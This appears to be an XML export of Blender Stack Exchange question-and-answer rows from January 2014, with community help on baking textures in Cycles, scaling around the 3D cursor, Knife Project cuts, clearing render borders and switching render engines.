  <row Id="6331" PostTypeId="1" CreationDate="2014-01-17T05:22:20.813" Score="4" ViewCount="915" Body="&lt;p&gt;I'm trying to get a Shadow map for some armor pieces I made and I've been watching this tutorial on how to do it. But some of the options that I need to use to get a good shadow map aren't showing up in my Blender Program. This also includes the &lt;em&gt;Bake&lt;/em&gt; tab in Render. Which I &lt;strong&gt;need&lt;/strong&gt; to for the Shadow mapping process. I've done the UV map already but I can't do the shadow map until I know whats wrong.&lt;/p&gt;&#xA;" OwnerUserId="2016" LastEditorUserId="3127" LastEditDate="2014-12-15T15:45:34.600" LastActivityDate="2014-12-15T20:11:37.713" Title="Issues with Shadow Mapping?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6332" PostTypeId="1" AcceptedAnswerId="6335" CreationDate="2014-01-17T07:18:53.070" Score="29" ViewCount="33327" Body="&lt;p&gt;How do I scale from one side side only?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to keep the left side of a object in place, but scale it smaller from the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this screen shot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QwYnT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to end up like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AUp95.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I had to scale and move to get that.&lt;/p&gt;&#xA;" OwnerUserId="2128" LastEditorUserId="599" LastEditDate="2014-01-17T07:44:16.903" LastActivityDate="2020-12-12T18:11:47.243" Title="How do I scale from one side side only?" Tags="&lt;transforms&gt;&lt;editing&gt;" AnswerCount="3" CommentCount="9" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6333" PostTypeId="2" ParentId="6321" CreationDate="2014-01-17T07:23:43.983" Score="3" Body="&lt;p&gt;You could model the arch's shape from a plane and use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Knife Project&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VcjGE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select first the arch then the wall in &lt;em&gt;Object Mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change to &lt;em&gt;Edit Mode&lt;/em&gt; and apply &lt;em&gt;Knife Project&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After that you should have a model like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TQ5TX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If  you want to connect the arches select them by &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt; and &lt;em&gt;Bridge Edge Loops&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternativley (as suggested by Gandalf3) you could use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Boolean Modifier&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this technique you would need to extrude the arch like the red object here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6xXtV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Align the objects &lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;em&gt;Boolean Modifier&lt;/em&gt; to your wall, and set operation to &lt;em&gt;Difference&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply the modifier&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0fHj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xbQBG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-01-17T07:49:44.763" LastActivityDate="2014-01-17T07:49:44.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6334" PostTypeId="2" ParentId="6331" CreationDate="2014-01-17T07:43:07.693" Score="3" Body="&lt;p&gt;This is because you are using Cycles.&#xA;Texture baking is currently only supported in Blender internal.&lt;/p&gt;&#xA;&lt;p&gt;This feature is currently under development, you can see &lt;a href=&quot;http://lists.blender.org/pipermail/bf-cycles/2014-January/001752.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;some tests in the bf-cycles mailing list&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.71/Cycles#Baking_API&quot; rel=&quot;nofollow noreferrer&quot;&gt;As of Blender 2.71&lt;/a&gt;, Cycles now supports texture baking.  To bake a texture:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;UV Unwrap the model&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a blank image texture in the &lt;em&gt;UV/image editor&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a texture node to your material and select the newly created image&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure that the texture node is selected&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;em&gt;Bake&lt;/em&gt; under &lt;em&gt;Properties panel&lt;/em&gt; &amp;gt; &lt;em&gt;Render tab&lt;/em&gt; &amp;gt; &lt;em&gt;Bake&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Also see:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/13508/599&quot;&gt;How do I bake a texture using Cycles bake&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-baking-cycles/#.VI8CopU5DX4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Andrew Price's tutorial&lt;/a&gt; on cycles baking.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-15T20:11:37.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6335" PostTypeId="2" ParentId="6332" CreationDate="2014-01-17T07:44:45.137" Score="33" Body="&lt;p&gt;Set the &lt;a href=&quot;https://docs.blender.org/manual/en/2.80/scene_layout/object/editing/transform/control/pivot_point/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Pivot Point&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;3D Cursor&lt;/em&gt; and the 3D Cursor to the end that should not move while scaling.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kwz3I.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For an exact position you may want to snap the &lt;em&gt;3D Cursor&lt;/em&gt; to the selection (Mesh -&amp;gt; Snap -&amp;gt; Cursor to Selection).&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="112578" LastEditDate="2020-12-12T18:11:47.243" LastActivityDate="2020-12-12T18:11:47.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6336" PostTypeId="2" ParentId="6332" CreationDate="2014-01-17T07:45:50.693" Score="7" Body="&lt;p&gt;Another option is to try &lt;em&gt;vertex slide&lt;/em&gt; in edit mode. Select the vertices you want to move and press &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: this is specific to mesh edit-mode and assumed you have topology which can slide.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="55" LastEditDate="2014-01-17T08:38:31.377" LastActivityDate="2014-01-17T08:38:31.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6337" PostTypeId="2" ParentId="6322" CreationDate="2014-01-17T09:27:13.853" Score="2" Body="&lt;p&gt;You can turn particles into real objects with the convert button in the particles modifier panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case I think what you may be looking for is BVH caching. Under Render Properties there is a Performance panel. There you will find an option to cache BVH. Blender internal has some different options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the 2.62 Release notes -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For renders where only the camera or materials are changing, while meshes stay fixed, it is now possible to skip the sometimes slow BVH step, by enabling BVH Cache in the Performance panel. This will store the BVH on disk for subsequent (animation) renders of the same scene. Note that if the scene does change in the animation, enabling this option will make rendering somewhat slower.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From your sample animation this may not help as the mesh objects in the scene appears to be changing, unless you are making the materials transparent. If you do have this enabled then maybe disabling it will help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possibility may be to render the background animation and then composite the shed animation onto it. Another is to animate material transparency instead of object visibility.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-01-17T09:27:13.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6339" PostTypeId="1" AcceptedAnswerId="6356" CreationDate="2014-01-17T16:01:50.090" Score="2" ViewCount="585" Body="&lt;p&gt;I'm fairly sure I'm doing something wrong and this isn't a bug, but when I installed blender from the 'blender' repository and have 2.66a running in an Ubuntu 13.10 VM, I got problems with using Python in the console.&lt;br&gt;&#xA;After starting blender I get the following warnings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Color management: using fallback mode for management&#xA;connect failed: No such file or directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this when I try to type in any Python commands at the terminal, nothing happens.  The &lt;code&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/code&gt;, suggesting an interactive Python session also don't appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2178" LastEditorUserId="599" LastEditDate="2014-01-18T07:41:58.683" LastActivityDate="2014-01-18T07:59:37.240" Title="Python Commands from Terminal Aren't Working Ubuntu 13.10" Tags="&lt;python&gt;&lt;linux&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="6340" PostTypeId="2" ParentId="6319" CreationDate="2014-01-17T16:52:13.800" Score="2" Body="&lt;p&gt;You may consider to use the &lt;strong&gt;Align by Face&lt;/strong&gt; addon, which is already implemented in every blender builds now.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to bring the &lt;strong&gt;User Preferences&lt;/strong&gt; window, enable &lt;strong&gt;Align by Face&lt;/strong&gt; addon under &lt;strong&gt;Addons&lt;/strong&gt; tab (usage can be found &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Align_by_faces&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Duplicate one copy to make the first align by face, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; to join them.&lt;/li&gt;&#xA;&lt;li&gt;If you repeat the last step, the array can be done in geometrical progression. Sometimes the final rotation alignment may be inverted, then you can rotate the new aligned mesh with the technique you've already known.&lt;/li&gt;&#xA;&lt;li&gt;Go to Edit Mode of the fninal joint mesh, select all elements and &lt;kbd&gt;W&lt;/kbd&gt; &gt; Remove Doubles. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After a few steps, I think you may get the result as you expected, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ToNDr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not an automatic way, but may be acceptable with a limited array amount.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another option is to do this by mirroring along face:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create the icosphere;&lt;/li&gt;&#xA;&lt;li&gt;Select one face. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt; (switch to median point); &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; &gt; Cursor to Selected; &lt;kbd&gt;.&lt;/kbd&gt; (swich to 3D cursor);&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt; &gt; Normal; &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;, rename this new transform orientation;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Repeat the last three steps, until what's expected;&lt;/li&gt;&#xA;&lt;li&gt;Remove Doubles after finishing.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-17T17:40:20.110" LastActivityDate="2014-01-17T17:40:20.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6341" PostTypeId="1" AcceptedAnswerId="6342" CreationDate="2014-01-17T16:58:50.920" Score="55" ViewCount="83310" Body="&lt;p&gt;In the 3d viewport I am using a border region to only render things inside the selected region. I did this with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;. I cannot get rid of the region. How can I make the border disappear?&lt;/p&gt;&#xA;" OwnerUserId="1647" LastEditorUserId="241" LastEditDate="2020-03-13T19:32:05.897" LastActivityDate="2020-03-13T19:32:05.897" Title="How do I clear the render border?" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;render-border&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6342" PostTypeId="2" ParentId="6341" CreationDate="2014-01-17T17:00:55.870" Score="68" Body="&lt;p&gt;Use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; to clear the render border, or if you open the &lt;kbd&gt;Space&lt;/kbd&gt; menu and type &lt;em&gt;&quot;render border&quot;&lt;/em&gt;, you should see the option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDgIu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;, but this is the legacy shortcut for border render &lt;em&gt;IIRC&lt;/em&gt; and it only works when looking through the camera. Use &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; as you can have different render borders for the viewport (when doing realtime rendering) and the camera.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="20508" LastEditDate="2016-07-11T23:32:41.300" LastActivityDate="2016-07-11T23:32:41.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6344" PostTypeId="5" CreationDate="2014-01-17T17:24:39.943" Score="0" Body="&lt;p&gt;Questions regarding installation of Blender should use this tag. Also, use the respective operating system tag: &lt;a href=&quot;/questions/tagged/windows&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;windows&amp;#39;&quot; rel=&quot;tag&quot;&gt;windows&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/mac&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;mac&amp;#39;&quot; rel=&quot;tag&quot;&gt;mac&lt;/a&gt;, or &lt;a href=&quot;/questions/tagged/linux&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;linux&amp;#39;&quot; rel=&quot;tag&quot;&gt;linux&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="32220" LastEditDate="2019-12-30T15:22:56.033" LastActivityDate="2019-12-30T15:22:56.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6345" PostTypeId="4" CreationDate="2014-01-17T17:24:39.943" Score="0" Body="Questions regarding installation of Blender should use this tag. Also, use the respective operating system tag: windows, mac, or linux." OwnerUserId="14" LastEditorUserId="14" LastEditDate="2014-01-17T17:24:39.943" LastActivityDate="2014-01-17T17:24:39.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6346" PostTypeId="2" ParentId="6296" CreationDate="2014-01-17T17:54:02.713" Score="2" Body="&lt;p&gt;The problem can also be caused by &lt;em&gt;manifold&lt;/em&gt; meshes that have other issues, such as non-uniform normals. I ran into this issue just yesterday. I extruded a single plane into a prism, without realizing that the plane had preexisting issues with its normals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside: faces don't actually have normals. Each vert has a normal and a face's normal is calculated from its associated verts. One of my verts must have been upside-down, making the plane's normal... weird. As odd as that is to consider, it can happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tricky part was that the resulting prism looked perfectly fine. The problem manifested in OTHER parts of the same object (as invisible faces), but that were not connected to the prism, even though there was nothing actually wrong with the part of the mesh where the issues manifested. It took me FOREVER to figure out, because I thought it was a non-manifold edge somewhere. Once I recalculated the normals on that prism, (because I'd tried EVERYTHING else) everything was fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;All of which is to say, the problem may actually be in a part of your mesh that looks totally fine.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-17T17:59:38.097" LastActivityDate="2014-01-17T17:59:38.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6348" PostTypeId="1" CreationDate="2014-01-17T20:46:20.820" Score="4" ViewCount="17737" Body="&lt;p&gt;I am using the quaternion rotation mode to rotate bones into poses for an animation. For some of my bones, when I increase the X value of the quaternion the bone rotates around the y axis instead. For other bones this does not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set all my bone rolls to 0, in case that makes a difference. How can I make all of my bones rotate around the same axis when I modify the same value of their quaternion?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have discovered that in pose mode bones use the vector from their head to their tail as the y axis and the roll affects the orientation of the x and z axes. Still looking for a way to change these to the global axes.&lt;/p&gt;&#xA;" OwnerUserId="2181" LastEditorUserId="2181" LastEditDate="2014-01-18T19:10:32.497" LastActivityDate="2019-11-23T05:24:14.223" Title="Aligning bones' axes to the global axes" Tags="&lt;transforms&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6349" PostTypeId="1" AcceptedAnswerId="6351" CreationDate="2014-01-17T22:29:02.463" Score="2" ViewCount="1186" Body="&lt;p&gt;I found one tutorial of software PTC Creo 2.0 to try to do the same in Blender, I imported the path from Illustrator like .svg file, place in the zone to project, but when use shrikwrap modifier, nothing happen or deform the path. I post the images of the my process and the tutorial like reference. I reading this link: &lt;a href=&quot;https://blender.stackexchange.com/questions/5652/creating-a-curved-rectangle-on-outside-of-a-sphere&quot;&gt;Some similar question like this...&lt;/a&gt; but is a rectangle and my path are irregular form and don´t have the same project form like tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PuMu3.png&quot; alt=&quot;the all in position...&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jwKkF.png&quot; alt=&quot;the modifier shrinkwrap applied nothing happen...&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0i2G.png&quot; alt=&quot;images from the tutorial for software PTC Creo 2.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9lmem.png&quot; alt=&quot;images from the tutorial for software PTC Creo 2.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PaxSG.png&quot; alt=&quot;images from the tutorial for software PTC Creo 2.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u6RC2.png&quot; alt=&quot;images from the tutorial for software PTC Creo 2.0&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VfjyF.png&quot; alt=&quot;The uses of the part..&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/rnkrcqh760wj93g/exercise1.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;My model before apply modifier...&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B7FCU.png&quot; alt=&quot;capture of modifier stack&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2151" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-01-18T07:28:06.480" Title="How project/Cut a path over sphere" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6350" PostTypeId="1" CreationDate="2014-01-17T23:13:29.730" Score="5" ViewCount="4481" Body="&lt;p&gt;I basically want to create this in Blender &lt;img src=&quot;https://i.stack.imgur.com/6kFnk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have some trouble creating the textures for it. I have created an UV map for it which looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NrtWz.png&quot; alt=&quot;enter code here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I just want to paint on the UV map. But I am not sure how I would paint those textures. I need some some masking tools, for example I only want to paint on a specific face and not on the whole texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need some tools like the fill tool and the ability to draw lines because as you can see it is not hand drawn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I do this in Blender itself or do I need to use an 3rd party tools like Photoshop/GIMP?&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="20" LastEditDate="2014-01-18T01:54:55.187" LastActivityDate="2014-01-21T20:35:47.240" Title="UV painting within Blender?" Tags="&lt;texture-painting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6351" PostTypeId="2" ParentId="6349" CreationDate="2014-01-17T23:22:24.550" Score="3" Body="&lt;p&gt;It looks like &quot;Knife Project&quot; should do exactly what you want to do &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide&quot; rel=&quot;nofollow&quot;&gt;(described in the manual)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the manual doesn't mention that the projection originates from your point of view. I kept trying to use the tool while &quot;looking&quot; at the objects from the side, and nothing happened. Then &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?319052-Knife-Project-tool&quot; rel=&quot;nofollow&quot;&gt;this thread&lt;/a&gt; wisened me up.  &lt;/p&gt;&#xA;" OwnerUserId="2140" LastEditorUserId="2140" LastEditDate="2014-01-18T00:47:50.447" LastActivityDate="2014-01-18T00:47:50.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6352" PostTypeId="1" AcceptedAnswerId="6353" CreationDate="2014-01-18T06:52:53.297" Score="9" ViewCount="5910" Body="&lt;p&gt;Complete beginner here.  I'm trying to follow &lt;a href=&quot;http://www.blenderguru.com/videos/introduction-to-anisotropic-shading/&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; tutorial on Anisotropic shaders, but my property panel looks nothing like the property panel in the tutorial.  For example, when creating a material, this is what his property panel looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q7sRs.png&quot; alt=&quot;The property panel in the tutorial&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this is what mine looks like, if I follow the same path:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qDrNZ.png&quot; alt=&quot;My property panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm missing something obvious.  How can I see the property panel shown in the tutorial?&lt;/p&gt;&#xA;" OwnerUserId="2174" LastEditorUserId="599" LastEditDate="2014-01-18T07:12:54.547" LastActivityDate="2018-02-07T17:03:27.453" Title="Why does my material panel look different?" Tags="&lt;materials&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6353" PostTypeId="2" ParentId="6352" CreationDate="2014-01-18T07:07:07.467" Score="13" Body="&lt;p&gt;This is because you are using the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render&quot; rel=&quot;noreferrer&quot;&gt;Blender Internal&lt;/a&gt;&lt;/em&gt; render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch the render engine to &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles&quot; rel=&quot;noreferrer&quot;&gt;Cycles&lt;/a&gt;&lt;/em&gt; at the top of the screen in the &lt;em&gt;Info panel&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H3sUl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3sUl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6YKQv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2018-02-07T17:03:27.453" LastActivityDate="2018-02-07T17:03:27.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6354" PostTypeId="2" ParentId="6352" CreationDate="2014-01-18T07:08:59.013" Score="3" Body="&lt;p&gt;You're using Blender render instead of Cycles. To change it click on the option button titled &quot;Blender Render&quot; on the top info panel and select &quot;Cycles Render&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RFPd6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2014-01-18T07:08:59.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
